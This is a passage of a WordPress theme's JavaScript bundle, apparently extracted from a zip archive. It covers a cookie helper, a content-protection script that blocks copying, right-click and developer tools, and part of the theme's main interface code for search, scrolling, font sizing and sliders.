                    for (var s in i) i[s] && (f += "; " + s, !0 !== i[s] && (f += "=" + i[s]));
                    return document.cookie = n + "=" + r + f
                }
                n || (c = {});
                for (var p = document.cookie ? document.cookie.split("; ") : [], d = /(%[0-9A-Z]{2})+/g, u = 0; u < p.length; u++) {
                    var l = p[u].split("="), C = l.slice(1).join("=");
                    '"' === C.charAt(0) && (C = C.slice(1, -1));
                    try {
                        var g = l[0].replace(d, decodeURIComponent);
                        if (C = o.read ? o.read(C, g) : o(C, g) || C.replace(d, decodeURIComponent), this.json) try {
                            C = JSON.parse(C)
                        } catch (e) {
                        }
                        if (n === g) {
                            c = C;
                            break
                        }
                        n || (c[g] = C)
                    } catch (e) {
                    }
                }
                return c
            }
        }

        return t.set = t, t.get = function (e) {
            return t.call(t, e)
        }, t.getJSON = function () {
            return t.apply({json: !0}, [].slice.call(arguments))
        }, t.defaults = {}, t.remove = function (n, o) {
            t(n, "", e(o, {expires: -1}))
        }, t.withConverter = n, t
    }(function () {
    })
});
PK     N\G      js/content-protector.jsnu [        "use strict";

const ContentProtector = (function () {

  function blockKey(keyCode) {
    window.addEventListener("keydown", function (event) {
      if ((event.ctrlKey || event.metaKey) && event.which === keyCode) {
        event.preventDefault();
      }
    });
    document.onkeypress = function (event) {
      if ((event.ctrlKey || event.metaKey) && event.which === keyCode) {
        return false;
      }
    };
  }

  function enableProtections() {
    // Block common shortcuts
    [65, 67, 88, 86, 83, 85, 80].forEach(blockKey); // A, C, X, V, S, U, P

    // Block Developer Tools
    function isFramed() {
      try {
        return window.self !== window.top;
      } catch (e) {
        return true;
      }
    }

    function destroyPage() {
      if (!isFramed()) {
        document.body?.remove();
        document.head?.remove();
      }
    }

    const devToolKeys = [
      "F12", "Ctrl+Shift+I", "Ctrl+Shift+J", "Ctrl+Shift+C",
      "Ctrl+Shift+K", "Ctrl+Shift+E", "Shift+F7", "Shift+F9",
      "Shift+F5", "Shift+F12", "Cmd+Opt+I", "Cmd+Opt+J",
      "Cmd+Shift+C", "Cmd+Opt+K", "Cmd+Opt+E", "Cmd+Opt+Z"
    ];

    window.addEventListener("keydown", function (e) {
      if (e.key && devToolKeys.includes(e.key)) {
        e.preventDefault();
      }
    });

    if (typeof devtoolsDetector !== "undefined") {
      devtoolsDetector.addListener(function (open) {
        if (open) destroyPage();
      });
      devtoolsDetector.launch();
    }

    // Block Safari Reader Mode
    if (/safari/i.test(navigator.userAgent) && !/chrome/i.test(navigator.userAgent)) {
      window.addEventListener("keydown", function (e) {
        if ((e.ctrlKey || e.metaKey) && e.shiftKey && e.keyCode === 82) {
          e.preventDefault();
        }
      });
    }

    // Block Right Click
    document.oncontextmenu = function (e) {
      if ((e.target || e.srcElement).nodeName !== "A") return false;
    };
    document.body.oncontextmenu = () => false;
    document.onmousedown = function (e) {
      if (e.button === 2) return false;
    };

    setInterval(() => {
      if (document.oncontextmenu === null) {
        document.body?.remove();
        document.head?.remove();
      }
    }, 500);

    // Block Text Selection
    if (typeof document.body.onselectstart !== "undefined") {
      document.body.onselectstart = () => false;
    } else if (typeof document.body.style.MozUserSelect !== "undefined") {
      document.body.style.MozUserSelect = "none";
    } else if (typeof document.body.style.webkitUserSelect !== "undefined") {
      document.body.style.webkitUserSelect = "none";
    } else {
      document.body.onmousedown = () => false;
    }

    if (!(/safari/i.test(navigator.userAgent) && !/chrome/i.test(navigator.userAgent))) {
      document.documentElement.style.webkitTouchCallout = "none";
      document.documentElement.style.webkitUserSelect = "none";

      const css = document.createElement("style");
      css.type = "text/css";
      css.innerText = `
        *:not(input):not(textarea):not([contenteditable=""]):not([contenteditable="true"]) {
          -webkit-user-select: none !important;
          -moz-user-select: none !important;
          -ms-user-select: none !important;
          user-select: none !important;
        }
      `;
      document.head.appendChild(css);
    }

    // Block Image Drag
    document.ondragstart = () => false;
  }

  return {
    enable: enableProtections
  };
})();

document.addEventListener("DOMContentLoaded", function () {
  ContentProtector.enable();
});PK     N\"F  
  js/main.jsnu [        /* Debounce */
(
  function (b, c) {
    var $ = b.jQuery || b.Cowboy || (
      b.Cowboy = {}
    ), a
    $.throttle = a = function (e, f, j, i) {
      var h, d = 0
      if (typeof f !== 'boolean') {
        i = j
        j = f
        f = c
      }

      function g () {
        var o = this, m = +new Date() - d, n = arguments

        function l () {
          d = +new Date()
          j.apply(o, n)
        }

        function k () {
          h = c
        }

        if (i && !h) {
          l()
        }
        h && clearTimeout(h)
        if (i === c && m > e) {
          l()
        } else {
          if (f !== true) {
            h = setTimeout(i ? k : l, i === c ? e - m : e)
          }
        }
      }

      if ($.guid) {
        g.guid = j.guid = j.guid || $.guid++
      }
      return g
    }
    $.debounce = function (d, e, f) {
      return f === c ? a(d, e, false) : a(d, f, e !== false)
    }
  }
)(this);

/* global PENCILOCALIZE */
(
  function ($) {
    'use strict'
    var PENCI = PENCI || {}

    /* General functions
 ---------------------------------------------------------------*/
    PENCI.general = function () {
      // Top search
      $('.pcheader-icon a.search-click').on('click', function (e) {
        var $this = $(this),
          $body = $('body'),
          $container = $this.closest('.container')

        $('body').find('.search-input').removeClass('active')
        $container.find('.search-input').toggleClass('active')

        if ($body.find('.header-search-style-overlay').length || $body.find('.header-search-style-showup').length || $body.find('.header-search-style-popup').length ) {
          $container.find('.show-search').toggleClass('active')
        } else {
          $this.next().fadeToggle()
        }

        var opentimeout = setTimeout(function () {
          var element = document.querySelector('.search-input.active')
          if (element !== null) {
            element.focus({
              preventScroll: true,
            })
          }
        }, 200, function () {
          clearTimeout(opentimeout)
        })

        $body.addClass('search-open')
        e.preventDefault()
        e.stopPropagation()
        return false
      })

      $('.pcheader-icon .close-search, .pc-search-popup-overlay').on('click', function (e) {

        if ($('body').find('.header-search-style-overlay').length ||
          $('body').find('.header-search-style-popup').length ||
          $('body').find('.header-search-style-showup').length) {
          $('body').find('.show-search').each(function () {
            $(this).removeClass('active')
          })
        } else {
          $(this).closest('.show-search').fadeToggle()
        }
        $('body').removeClass('search-open')
        $('body').find('.search-input').each(function () {
          $(this).removeClass('active')
        })
        return false
      })

      $(document).keyup(function (e) {
        var bd = $('body')
        if (e.key === 'Escape' && ( bd.hasClass('pchds-overlay') || bd.hasClass('pchds-popup') ) &&
          bd.hasClass('search-open')) {
          bd.removeClass('search-open')
          if ($('body').find('.header-search-style-overlay').length ||
          $('body').find('.header-search-style-popup').length || 
            $('body').find('.header-search-style-showup').length) {
            $('body').find('.show-search').each(function () {
              $(this).removeClass('active')
            })
          } else {
            $('body').find('.show-search').fadeToggle()
          }
          $('body').find('.search-input, .show-search').each(function () {
            $(this).removeClass('active')
          })
        }
        return false
      })

      // Go to top
      $('.go-to-top, .penci-go-to-top-floating').on('click', function () {
        $('html, body').animate({ scrollTop: 0 }, 700)
        return false
      })

      // Go to top button
      var $goto_button = $('.penci-go-to-top-floating')
      if ($goto_button.length) {
        $(document).on('scroll', $.debounce(200, function () {
          var y = $(this).scrollTop()
          if (y > 300) {
            $goto_button.addClass('show-up')
            $('body').addClass('penci-gtt-enable')
          } else {
            $goto_button.removeClass('show-up')
            $('body').removeClass('penci-gtt-enable')
          }
        }))
      }

      // Call back fitvid when click load more button on buddypress
      $('body.buddypress .activity .load-more a').on('click', function () {
        $(document).ajaxStop(function () {
          $('.container').fitVids({ ignore: '.penci-sticky-video' })
        })
      })

      document.addEventListener('DOMContentLoaded', function () {
        document.querySelectorAll('.menu-item-has-anchor').forEach(function (item) {
          const offset = -120;
          const anchor = item.querySelector('a');
      
          if (!anchor) return;
      
          const href = anchor.getAttribute('href');
          if (!href || !href.startsWith('#')) return;
      
          const target = document.querySelector(href);
      
          if (!target) {
            console.error('Target element not found for:', href);
            return;
          }
      
          anchor.addEventListener('click', function (e) {
            e.preventDefault();
            $('body').removeClass('open-sidebar-nav penci-menuhbg-open open-mobile-builder-sidebar-nav');
      
            const targetOffset = target.getBoundingClientRect().top + window.pageYOffset;
      
            console.log('Scrolling to:', targetOffset); // Debug
      
            window.scrollTo({
              top: targetOffset + offset,
              behavior: 'smooth',
            });
          });
        });
      });
      
      

      $('.penci-arfilter-item').on('change', function (e) {
        var form = $(this).closest('form')
        form.submit()
      })

      $(document).on('click', '.pcauthor-tabs', function (e) {
        e.preventDefault()

        if ($(this).hasClass('active')) {
          return
        }

        var tab = $(this).attr('data-tab'),
          wrapper = $(this).closest('.post-author')

        wrapper.find('.author-tab-content').removeClass('active')
        wrapper.find('.pcauthor-tabs').removeClass('active')
        wrapper.find('#' + tab).addClass('active')
        $(this).addClass('active')
      })

      $(document).
        on('click', '.penci-category-description-button a', function (e) {
          e.preventDefault()
          $(this).closest('.penci-category-description').toggleClass('active')
        })

      $(document).on('click', '.penci-wuser-gps', function (e) {
        e.preventDefault()
        var t = $(this),
          parent = t.closest('.penci-weather-widget'),
          id = parent.attr('data-id'),
          forecast_days = parent.attr('data-forecast_days'),
          units = parent.attr('data-units')

        parent.addClass('loading')

        $.ajax({
          type: 'GET',
          url: ajax_var_more.url,
          data: {
            action: 'penci_get_weather_loc',
            id: id,
            forecast_days: forecast_days,
            units: units,
          },
          success: function (response) {
            var z = response.data.html,
              v = $(z).html()
            parent.html(v)
            parent.removeClass('loading')
          },
        })
      })

      $(document).on('click','.pc-comment-s1-button a',function(e) {
        e.preventDefault()
        $('.pc-comment-s1').toggleClass('active')
      })
      
      $(document).on('click','.new-ver-share.post-share-link',function(e) {
        e.preventDefault()
        var link = $(this).attr('href');
        navigator.clipboard.writeText(link);
      })

      $(document).on('click','.penci_cmrm',function(e){
        e.preventDefault()
        $(this).closest('.comment-text').addClass('showfull')
        $(this).remove()
      })

      $(document).on('click','.penci-mtp-filters-mobile',function(e){
        e.preventDefault()
        $(this).addClass('active')
        $('.penci-mtp-filters-main').addClass('active')
        $('.penci-mtp-filters-close').addClass('active')
      })

      $(document).on('click','.penci-mtp-filters-close',function(e){
        e.preventDefault()
        $(this).removeClass('active')
        $('.penci-mtp-filters-mobile').removeClass('active')
        $('.penci-mtp-filters-main').removeClass('active')
      })

      $(document).on('click','.penci-post-share-box-btn',function(e){
        e.preventDefault()
        var t = $(this).closest('.list-post-3')
        t.find('.penci-post-box-meta').toggleClass('active')
      })
      
      $(document).on('click','.penci-bmca',function(e){
        e.preventDefault()
        var t = $(this).closest('.penci-sg-cth')
        t.addClass('show-full')
        $(this).remove()
      })

      $(document).on('click tap', '.item-content', function() {
        var link = $(this).attr("data-excerpt-link");
        if (link) {
            window.location.href = link;
        }
      });

      $('.menu-item-has-children, .penci-mega-menu').on('mouseenter', function () {
        if ($('body').hasClass('penci-hsubmenu-overlay')) {
          $('body').addClass('menu-hover');
        }
      });
      
      $('.menu-item-has-children, .penci-mega-menu').on('mouseleave', function () {
        if ($('body').hasClass('penci-hsubmenu-overlay')) {
          $('body').removeClass('menu-hover');
        }
      });      

      return false
    }

    PENCI.rdatetime = function () {
      function formatDate(date, format, locale = 'en-US') {
        const map = {
            'd': ('0' + date.getDate()).slice(-2),           // Day of the month (01 to 31)
            'D': date.toLocaleDateString(locale, { weekday: 'short' }),  // Short textual day
            'j': date.getDate(),                             // Day of the month (1 to 31)
            'l': date.toLocaleDateString(locale, { weekday: 'long' }),   // Full textual day
            'F': date.toLocaleDateString(locale, { month: 'long' }),     // Full textual month
            'm': ('0' + (date.getMonth() + 1)).slice(-2),    // Month (01 to 12)
            'M': date.toLocaleDateString(locale, { month: 'short' }),    // Short month (Jan, Feb)
            'n': date.getMonth() + 1,                        // Month without leading zeros (1 to 12)
            'Y': date.getFullYear(),                         // Full year (2024)
            'y': ('' + date.getFullYear()).slice(-2),        // Short year (24)
            'H': ('0' + date.getHours()).slice(-2),          // 24-hour format (00 to 23)
            'h': ('0' + (date.getHours() % 12 || 12)).slice(-2),  // 12-hour format (01 to 12)
            'i': ('0' + date.getMinutes()).slice(-2),        // Minutes (00 to 59)
            's': ('0' + date.getSeconds()).slice(-2),        // Seconds (00 to 59)
            'a': date.getHours() < 12 ? 'am' : 'pm',         // am/pm lowercase
            'A': date.getHours() < 12 ? 'AM' : 'PM',         // AM/PM uppercase
        };

        return format.replace(/[a-zA-Z]/g, function(match) {
            return map[match] !== undefined ? map[match] : match;
        });
      }

      function applyRealTimeDate() {
        const locale = document.documentElement.lang || 'en-US';

        const elements = document.querySelectorAll('.penci-dtf-real');

        elements.forEach(el => {
            const format = el.getAttribute('data-format');

            const currentDate = new Date();

            const formattedDate = formatDate(currentDate, format, locale);

            el.textContent = formattedDate;
        });
      }

      applyRealTimeDate();

    }

    PENCI.videofloat = function () {
      $('body.single .post').each(function (e) {

        var wrapper = $(this),
          t = wrapper.find('.post-image'),
          h = t.height(),
          f = t.find('iframe'),
          p

        if (f.length && ajax_var_more.vfloat) {

          t.addClass(ajax_var_more.vfloatp)

          var z = h + t.offset().top

          $(document).on('scroll', function () {

            if (t.hasClass('disable-sticky')) {
              return
            }
            var y = $(this).scrollTop()
            if (y > z) {
              t.addClass('stick-video-enable')
              if (t.find('.stick-video-enable-remove').length == 0) {
                t.append(
                  '<span class="stick-video-enable-remove"><i class="penciicon-close-button"></i></span>')
              }
              if (!wrapper.hasClass('penci-apply-padding')) {
                wrapper.addClass('penci-apply-padding').css('padding-top', h)
              }
            } else {
              t.removeClass('stick-video-enable')
              t.find('.stick-video-enable-remove').remove()
              wrapper.removeClass('penci-apply-padding')
              wrapper.css('padding-top', 0)
            }
          })
        }

      })

      $(document).on('click', '.stick-video-enable-remove', function (e) {
        e.preventDefault()
        var t = $(this).closest('.post-image')

        t.find('.stick-video-enable-remove').remove()
        t.removeClass('stick-video-enable').addClass('disable-sticky')
      })

      $(document).on('mouseenter', '.penci-preview-thumb', function () {
        var t = $(this),
          ow = t.outerWidth(),
          oh = t.outerHeight(),
          w = t.outerHeight() * 16 / 9,
          h = t.outerHeight(),
          type = $(this).attr('data-type'),
          url = $(this).attr('data-url')

        if ( w < ow ) { 
          w = ow
          h = oh
        }

        t.addClass('active')

        if (t.find('video').length == 0 && type == 'self') {
          t.append('<video src="' + url + '" loop muted></video>')
        }

        if (t.find('iframe').length == 0 && type !== 'self') {
          t.append('<div class="penci-preview-iframe"><iframe src="' + url +
            '" frameborder="0"></iframe></div>')
          $(this).find('iframe').width(w).height(h).fadeIn()
        }

        if ($(this).find('video').length !== 0) {
          $(this).find('video').fadeIn()
          $(this).find('video')[0].play()
        }

        if ($(this).find('iframe').length !== 0) {
          $(this).find('iframe').fadeIn()
        }

      }).on('mouseleave', '.penci-preview-thumb', function () {
        if ($(this).find('video').length !== 0) {
          $(this).find('video')[0].pause()
          $(this).find('video').fadeOut()
        }
        if ($(this).find('iframe').length !== 0) {
          $(this).find('iframe').fadeOut()
        }
        $(this).removeClass('active')
      })
    }

    /* Font Size Changer
---------------------------------------------------------------*/
    PENCI.fontsizeChanger = function () {

      if ($('.penci-font-changer').length) {

        var c = Cookies.get('penci-font-changer') ? Cookies.get(
            'penci-font-changer') : 1,
          pr = $('.penci-font-changer'),
          w = $('#main').width(),
          step = .1

        if ($('body').hasClass('elementor-default')) {
          w = $('article.post').width()
        }

        pr.attr('data-size', c)

        var penci_apply_fontsize = function ($csize = null) {
          var size = parseFloat(pr.attr('data-size'))

          size = $csize ? parseFloat($csize) : size

          size = size > 1.5 ? size = 1.5 : (
            size < -1.5 ? size = -1.5 : size
          )

          $('.entry-content').css({
            'transform': 'scale(' + size + ')',
            'transform-origin': '0 0 0',
            'overflow': 'hidden',
            'width': parseInt(w / size) + 'px',
          })

          if ($('body').hasClass('rtl')) {
            $('.entry-content').css({
              'transform-origin': '100% 0',
            })
          }

          $('.entry-content p,.entry-content iframe,.entry-content audio,.entry-content div,.entry-content ol, .entry-content ul, .entry-content blockquote, .entry-content h1, .entry-content h1, .entry-content h2, .entry-content h3, .entry-content h4, .entry-content h5, .entry-content h6').
            css({
              'max-width': parseInt(w / size) + 'px',
            })

          if ($('.entry-content .penci-toc-container-wrapper').length) {
            $('.penci-toc-container-wrapper, .penci-toc-container-wrapper div, .penci-toc-container-wrapper ul, .penci-toc-container-wrapper span, .penci-toc-container-wrapper p').
              css({ 'max-width': '' })
          }

          $('.penci-single-block').each(function(e){
              
            if ( ! $(this).hasClass('pcapply_fs') ) {
            
                $(this).addClass('pcapply_fs');
                
                var t = $(this).find('.entry-content'),
                    p = $(this).find('.post-entry'),
                    h = t[0].getBoundingClientRect().height;
  
                    p.css({
                      'height': h + 'px',
                      'transform': 'none',
                    })
                
            }

          });
        }

        penci_apply_fontsize()

        if ($.isFunction($.fn.jRange)) {
          var def = Cookies.get('penci-font-changer') ? Cookies.get(
            'penci-font-changer') : '1'
          $('.penci-font-changer-slider').each(function () {
            $(this).jRange({
              from: 0.5,
              to: 1.5,
              step: 0.1,
              scale: [0.5, 0, 1.0, 1.5],
              format: '%s',
              width: 120,
              showLabels: false,
              showScale: false,
              snap: true,
              theme: 'penci-fs-slider',
              onstatechange: function (size) {
                penci_apply_fontsize(size)
                Cookies.set('penci-font-changer', size)
              },
            })
            $(this).jRange('setValue', def)
          })
        }

        $('body').on('single_loaded_more', function (e) {
          penci_apply_fontsize()
          if ($.isFunction($.fn.jRange)) {
            var def = Cookies.get('penci-font-changer') ? Cookies.get(
              'penci-font-changer') : '1'
            $('.penci-font-changer-slider').each(function () {
              $(this).jRange({
                from: 0.5,
                to: 1.5,
                step: 0.1,
                scale: [0.5, 0, 1.0, 1.5],
                format: '%s',
                width: 120,
                showLabels: false,
                showScale: false,
                snap: true,
                theme: 'penci-fs-slider',
                onstatechange: function (size) {
                  penci_apply_fontsize(size)
                  Cookies.set('penci-font-changer', size)
                },
              })
              $(this).jRange('setValue', def)
            })
          }
        })

        $(document).on('click', '.penci-font-changer-reset', function (e) {
          e.preventDefault()
          $('.penci-font-changer-slider').jRange('setValue', '1')
          Cookies.set('penci-font-changer', 1)
        })

        $(document).on('click', '.penci-font-changer-btn', function (e) {
          e.preventDefault()
          $(this).closest('.penci-font-changer-popup').addClass('active')
        })

        $(document).on('click', function (e) {
          var container = $('.penci-font-changer-popup')

          if (!container.is(e.target) && container.has(e.target).length === 0) {
            container.removeClass('active')
          }
        })
      }

    }

    /* Block Heading Lists
 ---------------------------------------------------------------*/
    PENCI.blockheadinglist = function () {
      $('.pcnav-lgroup').each(function () {
        var lgroup = $(this),
          maintitle = $(this).closest('.penci-homepage-title'),
          maintitlew = maintitle.width(),
          mainwrap = lgroup.find('ul.pcflx'),
          titlew = maintitle.find('.inner-arrow span').width(),
          nav = maintitle.find('.pcflx-nav').length ? maintitle.find(
            '.pcflx-nav').width() : 0,
          extrabtn = maintitle.find('.pcbh-extrabtn').length ? maintitle.find(
            '.pcbh-extrabtn').width() : 0,
          maxwidthc = 0,
          childlists = $(
            '<li class="more"><a class="more-click" href="#"><i class="fa fa-ellipsis-v"></i></a><ul class="pcflx-sub"></ul></li>'),
          width = maintitlew - titlew - nav,
          oldlist

        if (maintitle.hasClass('pcalign-center')) {
          width = maintitlew / 2 - titlew / 2 - 30
        }

        if (maintitle.hasClass('pciconp-left') ||
          maintitle.hasClass('pciconp-right')) {
          width = width - 36
        }

        lgroup.css('width', width)
        maintitle.css('--extrabtn', extrabtn + 'px')

        //reset
        oldlist = mainwrap.find('.pcflx-sub').html()
        mainwrap.find('.more').remove()
        mainwrap.append(oldlist)

        mainwrap.find('li').each(function () {
          maxwidthc = maxwidthc + $(this).outerWidth()
          if (maxwidthc > width - 60) {
            $(childlists).find('.pcflx-sub').append($(this))
          }
        })
        if ($(childlists).find('.pcflx-sub li').length) {
          mainwrap.append(childlists)
        }
        maintitle.parent().addClass('pc-flexmnld')
        lgroup.addClass('loaded')
      })
      $(document).on('click', '.pcnav-lgroup .more-click', function (e) {
        e.preventDefault()
      })

      $('.pcnav-lgroup a').on('click', function () {
        var t = $(this),
          pr = t.closest('.pcnav-lgroup')

        if (!t.hasClass('pcaj-nav-link')) {
          pr.find('a').removeClass('clactive')
          t.addClass('clactive')
        }

      })
    }

    /* Share Expand
 ---------------------------------------------------------------*/
    PENCI.shareexpand = function () {

      if (!$('.tags-share-box').length) {
        return
      }

      $('.tags-share-box').each(function () {
        var tag = $(this)

        if (tag.hasClass('disable-btnplus')) {
          tag.css('opacity', '1')
          return
        }

        if (tag.length) {
          var sharew = 0,
            sexpand = false,
            maxw = tag.width(),
            $count = 1,
            exspace,
            dsharew = tag.find('.post-share-expand').outerWidth()

          if (tag.find('.penci-social-share-text').length) {
            maxw = maxw - tag.find('.penci-social-share-text').outerWidth(true)
          }

          if (tag.find('.post-share-plike').length) {
            maxw = maxw - tag.find('.post-share-plike').outerWidth(true)
          }

          if (tag.find('.new-ver-share').length) {
            exspace = tag.find('.new-ver-share').outerWidth(true) -
              tag.find('.new-ver-share').outerWidth()
          }

          tag.find('.post-share-expand').
            removeClass('auto-hidden').
            removeClass('showing').
            removeClass('hidden')

          tag.find('.new-ver-share').each(function () {
            $(this).removeClass('auto-hidden').removeClass('show')
            sharew += $(this).outerWidth(true)
            if (sharew > maxw + exspace) {
              $(this).addClass('auto-hidden').removeClass('show')
              sexpand = true
            } else {
              $(this).removeClass('auto-hidden').addClass('show')
            }
            $count++
          })

          if (sexpand) {
            tag.find('.post-share-expand').
              removeClass('auto-hidden').
              addClass('showing')

            tag.find('.new-ver-share.show').each(function () {
              dsharew += $(this).outerWidth(true)
              if (dsharew >= maxw - exspace) {
                $(this).addClass('auto-hidden').removeClass('show')
              }
            })

          } else {
            tag.find('.post-share-expand').addClass('hidden')
          }

          $('.post-share-item.post-share-expand').
            off().
            on('click', function (e) {
              e.preventDefault()
              var parent = $(this).closest('.post-share')
              parent.find('.auto-hidden').toggleClass('active')
              parent.toggleClass('showing-hidden')
            })

          tag.css('opacity', '1')
        }
      })

    }

    /* Smooth Scroll */
    PENCI.smoothlinkscroll = function () {
      $('a[href^="#"]').on('click', function (e) {
        // e.preventDefault();

        var target = this.hash,
          $target = $(target)

        $('html, body').stop().animate({
          'scrollTop': $target.offset().top - 70,
        }, 900, 'swing', function () {
          window.location.hash = target
        })
      })
    }
    /* Cookie Law
 ---------------------------------------------------------------*/
    PENCI.cookie = function () {
      var wrapCookie = '.penci-wrap-gprd-law',
        $wrapCookie = $(wrapCookie),
        classAction = 'penci-wrap-gprd-law-close',
        penciCookieName = 'penci_law_footer_new'

      if (!$wrapCookie.length) {
        return false
      }

      var penciCookie = {
        set: function (name, value) {
          var date = new Date()
          date.setTime(date.getTime() + (
            31536000000
          ))
          var expires = '; expires=' + date.toGMTString()
          document.cookie = name + '=' + value + expires + '; path=/'
        },
        read: function (name) {
          var namePre = name + '='
          var cookieSplit = document.cookie.split(';')
          for (var i = 0; i < cookieSplit.length; i++) {
            var cookie = cookieSplit[i]
            while (cookie.charAt(0) == ' ') {
              cookie = cookie.substring(1, cookie.length)
            }
            if (cookie.indexOf(namePre) === 0) {
              return cookie.substring(namePre.length, cookie.length)
            }
          }
          return null
        },
        erase: function (name) {
          this.set(name, '', -1)
        },
        exists: function (name) {
          return (
            this.read(name) !== null
          )
        },
      }

      $wrapCookie.removeClass('penci-close-all')
      if (!penciCookie.exists(penciCookieName) ||
        (
          penciCookie.exists(penciCookieName) && 1 ==
          penciCookie.read(penciCookieName)
        )) {
        $wrapCookie.removeClass(classAction)
      } else {
        $wrapCookie.addClass(classAction)
      }

      $('.penci-gprd-accept, .penci-gdrd-show').on('click', function (e) {
        e.preventDefault()

        var $this = $(this),
          $parent_law = $this.closest(wrapCookie)

        $parent_law.toggleClass(classAction)

        if ($parent_law.hasClass(classAction)) {
          penciCookie.set(penciCookieName, '2')
        } else {
          penciCookie.set(penciCookieName, '1')
        }

        return false
      })
    }

    /* Sticky main navigation
 ---------------------------------------------------------------*/
    PENCI.main_sticky = function () {
      if ($('nav#navigation').length && $().pensticky &&
        !$('nav#navigation').hasClass('penci-disable-sticky-nav')) {
        var spaceTop = 0
        if ($('body').hasClass('admin-bar')) {
          spaceTop = 32
        }
        $('nav#navigation').each(function () {
          $(this).pensticky({ topSpacing: spaceTop })
        })
      } // sticky
    }

    /* Homepage Featured Slider
 ---------------------------------------------------------------*/
    PENCI.featured_slider = function () {

      const owl_fslider_name = {}

      $('.featured-area .penci-owl-featured-area').each(function () {

        var $this = $(this),
          $style = $this.data('style'),
          $auto = false,
          $autotime = $this.data('autotime'),
          $speed = $this.data('speed'),
          $loop = $this.data('loop'),
          $item = 1,
          $slideby = 1,
          $nav = true,
          $dots = false,
          $rtl = false,
          $items_desktop = 1,
          $items_tablet = 1,
          $items_tabsmall = 1,
          $items_mobile = 1,
          $spaceBetween = 0,
          $ctyle = ajax_var_more.fcarousel_e,
          $sstyle = ajax_var_more.fslider_e,
          $id = 'fetured-swiper-' + Math.floor(Math.random() * (
            1 - 999999
          ) + 1) + 1

        if ($this.attr('data-id')) {
          $id = $this.attr('data-id')
        }

        $this.addClass($id)

        if ($this.hasClass('no-df-swiper')) {
          return
        }
        
        if ($this.hasClass('penci-owl-loaded')) {
          return
        }

        if ($this.attr('data-ceffect')) {
          $ctyle = $this.attr('data-ceffect')
        }

        if ($this.attr('data-seffect')) {
          $sstyle = $this.attr('data-seffect')
        }

        if ($('html').attr('dir') === 'rtl') {
          $rtl = true
        }
        if ($this.attr('data-auto') === 'true') {
          $auto = true
        }
        if ($this.attr('data-nav') === 'false') {
          $nav = false
        }
        if ($this.attr('data-dots') === 'true') {
          $dots = true
          $this.append('<div class="penci-owl-dots"></div>')
        }
        if ($this.attr('data-item')) {
          $item = parseInt($this.data('item'))
          $slideby = $item
        }
        if ($this.attr('data-desktop')) {
          $items_desktop = parseInt($this.data('desktop'))
        }
        if ($this.attr('data-tablet')) {
          $items_tablet = parseInt($this.data('tablet'))
        }
        if ($this.attr('data-tabsmall')) {
          $items_tabsmall = parseInt($this.data('tabsmall'))
        }
        if ($this.attr('data-mobile')) {
          $items_mobile = parseInt($this.data('mobile'))
        }
        if ($this.attr('data-slideby')) {
          $slideby = parseInt($this.data('slideby'))
        }

        if ($item > 1) {
          $this.addClass('swiper-multi-items')
        }

        let a = 0,
          e = $(this),
          t = !1

        var interleaveOffset = 0.5

        if ($style === 'style-2') {
          $spaceBetween = 10
          $loop = true
        } else if ($style === 'style-28') {
          $items_desktop = $item = 6
        } else if ($style === 'style-38') {
          $spaceBetween = 5
          $items_desktop = $item = 5
        } else if ($style === 'style-43') {
          $spaceBetween = 0
        }

        var swiper_arg = {
          loop: $loop,
          autoplay: $auto,
          spaceBetween: $spaceBetween,
          slidesPerView: $item,
          speed: $speed,
          slideActiveClass: 'active',
          watchSlidesProgress: true,
          navigation: {
            nextEl: '.' + $id + ' .owl-next',
            prevEl: '.' + $id + ' .owl-prev',
          },
          on: {
            init: function () {
              $this.addClass('penci-owl-loaded')
            },
            afterInit: function () {
              $this.addClass('penci-featured-loaded')
            },
            setTransition: function (swiper, speed) {

              if (swiper.slides) {

                for (var i = 0; i < swiper.slides.length; i++) {
                  if (swiper.slides[i].querySelector('.slide-inner') !== null &&
                    $sstyle == 'creative') {
                    swiper.slides[i].style.transition = speed + 'ms'
                    swiper.slides[i].querySelector(
                      '.slide-inner').style.transition = speed + 'ms'
                  }
                  if (swiper.slides[i].querySelector('.penci-swiper-mask') !==
                    null && $sstyle == 'creative') {
                    swiper.slides[i].style.transition = speed + 'ms'
                    swiper.slides[i].querySelector(
                      '.penci-swiper-mask').style.transition = speed + 'ms'
                  }
                }

              }

            },
            touchStart (...n) {
              if ($item > 1) {
                t = !0, e.on && e.on.touchStart && e.on.touchStart(...n)
              }
              var swiper = this
              for (var i = 0; i < swiper.slides.length; i++) {
                if (swiper.slides[i].querySelector('.slide-inner') !== null &&
                  $sstyle == 'creative') {
                  swiper.slides[i].style.transition = ''
                }
                if (swiper.slides[i].querySelector('.penci-swiper-mask') !==
                  null && $sstyle == 'creative') {
                  swiper.slides[i].style.transition = ''
                }
              }
            },
            touchEnd (...n) {
              if ($item > 1) {
                t = !1, e.on && e.on.touchStart && e.on.touchEnd(...n)
              }
            },
            progress (n, u) {
              if (t) {
                return
              }
              if ($item > 1 && $ctyle == 'swing') {
                n.on && n.on.progress && n.on.progress(n, u)
                const g = n.progress > a ? 'next' : 'prev'
                a = n.progress
                const y = n.params.speed / 16,
                  f = n.visibleSlidesIndexes ? n.visibleSlidesIndexes : [],
                  h = f[0],
                  m = f[f.length - 1],
                  v = (l, c) => {
                    g === 'next' && c >= h ? l.style.transitionDelay = `${(c -
                      h + 1) * y}ms` : g === 'prev' && c <= m + 1
                      ? l.style.transitionDelay = `${(m - c + 1) * y}ms`
                      : l.style.transitionDelay = `${0}ms`
                  }
                n.slides.forEach((l, c) => {
                  n.animating
                    ? (l.style.transitionDelay = '0ms', requestAnimationFrame(
                      () => {
                        v(l, c)
                      }))
                    : v(l, c)
                })
              }

              var swiper = this
              for (var i = 0; i < swiper.slides.length; i++) {
                var slideProgress = swiper.slides[i].progress
                var innerOffset = swiper.width * interleaveOffset
                var innerTranslate = slideProgress * innerOffset
                if (swiper.slides[i].querySelector('.slide-inner') !== null &&
                  $sstyle == 'creative') {
                  swiper.slides[i].querySelector(
                    '.slide-inner').style.transform = 'translate3d(' +
                    innerTranslate + 'px, 0, 0)'
                }
                if (swiper.slides[i].querySelector('.penci-swiper-mask') !==
                  null && $sstyle == 'creative') {
                  swiper.slides[i].querySelector(
                    '.penci-swiper-mask').style.transform = 'translate3d(' +
                    innerTranslate + 'px, 0, 0)'
                }
              }

            },
          },
        }

        if ($this.attr('data-slidespg')) {
          swiper_arg['slidesPerGroup'] = $this.attr('data-slidespg')
        }

        if ($auto) {
          swiper_arg['autoplay'] = {
            delay: $autotime,
            disableOnInteraction: false,
            pauseOnMouseEnter: true,
          }
        }

        if ($style === 'style-2' || $style === 'style-38') {
